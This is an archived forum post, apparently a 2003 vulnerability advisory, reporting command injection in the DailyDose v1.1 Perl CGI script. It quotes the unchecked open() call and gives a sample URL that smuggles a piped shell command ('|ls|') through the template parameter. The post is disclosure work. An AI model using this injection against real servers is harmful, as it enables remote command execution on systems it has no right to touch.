PDA

Bekijk Volledige Versie : DailyDose v 1.1



Alexey Sintsov
10/11/03, 19:45
Bug is found in this script:
DailyDose v 1.1 (by www.onlinearts.net)
The script (dose.pl) does not check the input:

$data=$ENV{'QUERY_STRING'};
($command,$list,$temp, $id) = split ("&",$data,4);
.. . .
local ($template) = "$tempdir/$temp";
open(TEMPL, "$template") || print "no file found $template!";
#open without check var. $temp

Example (listing):
http://www.someserver.com/cgi-bin/dose.pl?daily&somefile.txt&|ls|

--------------------------
Alexey Sintsov aka Don_Huan
huan@xp-team.spb.su